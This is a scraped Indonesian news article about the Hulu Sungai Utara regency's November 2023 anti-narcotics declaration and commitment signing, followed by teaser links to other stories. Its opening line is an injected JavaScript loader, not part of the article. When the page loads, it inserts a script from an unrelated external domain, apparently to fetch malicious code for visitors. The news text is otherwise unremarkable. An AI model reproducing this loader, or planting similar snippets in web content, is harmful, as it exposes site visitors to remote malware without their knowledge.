(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, AMUNTAI – Komitmen serius mendukung upaya pencegahan, pemberantasan, penyalahgunaan dan peredaran gelap narkotika (P4GN), Pemerintah Kabupaten Hulu Sungai Utara (HSU) menggelar deklarasi dan penandatanganan komitmen bersama pemberantasan narkoba dan obat-obatan terlarang, di halaman kantor Bupati HSU, Rabu (8/11/2023).
Komitmen anti narkoba itu ditandai dengan pemakaian rompi Anti Narkoba bagi Satgas Kampung Tangguh Narkoba Kelurahan Sungai Malang, Kecamatan Amuntai Tengah, Satgas Desa Bersinar (Bersih dari Narkotika) Desa Sungai Karias, Kecamatan Amuntai Tengah, dan Desa Lok Bangkai, Kecamatan Banjang.
Kepala Badan Kesatuan Bangsa dan Politik (Kesbangpol) Kabupaten HSU, Amberani mengatakan, kegiatan ini didasari dari keinginan masyarakat Kabupaten HSU.
“Kegiatan ini dilakukan didasari dari keinginan masyarakat Hulu Sungai Utara, keinginan pemerintah daerah, keinginan DPRD,” kata Amberani.
Baca juga: Akun Instagram UIN Antasari Diretas Jadi Media Promosi, Rektorat Lapor Polisi
Sekda HSU, Adi Lesmana menyambut baik dan memberikan apresiasi kepada Kesbangpol atas prakarsa dan penyelenggaraan kegiatan ini.
“Dengan harapan dapat meningkatkan komitmen dan kesadaran kita bersama untuk memerangi narkoba di daerah kita,” katanya.
Dikatakannya, upaya untuk mengantisipasi dan memutus mata rantai peredaran dan penyalah gunaan narkoba mutlak harus terus dilakukan, agar generasi muda menyadari bagaimana dampak penyalahgunaan narkoba yang hanya akan merugikan diri sendiri.
Baca juga: Kiram Arts Festival Diramaikan Seniman dari 20 Negara
“Seperti apa yang kita laksanakan pada hari ini yakni penandatanganan komitmen bersama pemberantasan narkoba dan obat-obatan terlarang lainnya dan pemakaian rompi anti narkoba,” kata Adi Lesmana.
Kegiatan ini diharapkan dapat meningkatkan kesadaran dan komitmen untuk bersama-sama dalam melakukan pencegahan penyalahgunaan narkoba dan obat-obatan terlarang untuk menyelamatkan generasi muda dan sumber daya manusia, agar kelak mereka dapat tumbuh menjadi generasi yang akan melanjutkan estafet kepemimpinan dan pembangunan.
Untuk itu, agar kegiatan ini semakin memberikan dampak yang lebih besar terhadap keberhasilan dari kegiatan ini.
Baca juga: Tuntutan Skill Pemuda Kabupaten Banjar Hadapi Demografi 2025-2045
“Kami berharap kepada Kesbangpol Kabupaten Hulu Sungai Utara, agar di tahun 2024 bisa memberikan rompi yang sama dengan satgas narkoba kepada kepala SKPD dan kepala desa di lingkungan Pemerintah Kabupaten Hulu Sungai Utara,” imbuhnya.
“Demikian besarnya bahaya yang ditimbulkan oleh narkoba dan obat-obatan terlarang, maka sudah menjadi tugas dan tanggung jawab kita semua untuk menjaga dan menyelamatkan anak-anak kita, pemuda pemudi harapan bangsa dari ancaman bahaya narkoba,” tutupnya.(Kanalkalimantan.com/dew)
Reporter : dew
Editor : bie
KANALKALIMANTAN.COM, JAKARTA — Kementerian Agama Republik Indonesia (Kemenag RI) resmi menetapkan 1 Ramadan 1447 Hijriah… Read More
KANALKALIMANTAN.COM, BANJARMASIN — Kantor Wilayah (Kanwil) Kementerian Agama Provinsi Kalimantan Selatan (Kemenag Kalsel) menggelar pemantauan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Dalam perayaan Tahun Baru Imlek, ada banyak warna merah menghiasi segala aspek… Read More
KANALKALIMANTAN.COM, BANJARMASIN – Kuda Api menjadi shio di tahun baru Imlek 2026. Apa makna di… Read More
KANALKALIMANTAN.COM, BANJARMASIN – Di bawah kilauan lampion dan lilin yang berjejer rapi, ratusan warga Tionghoa… Read More
KANALKALIMANTAN.COM, BANJARMASIN — Mendekati Ramadan, Wali Kota Banjarmasin H Muhammad Yamin HR mengeluarkan kebijakan pelaksanaan… Read More
This website uses cookies.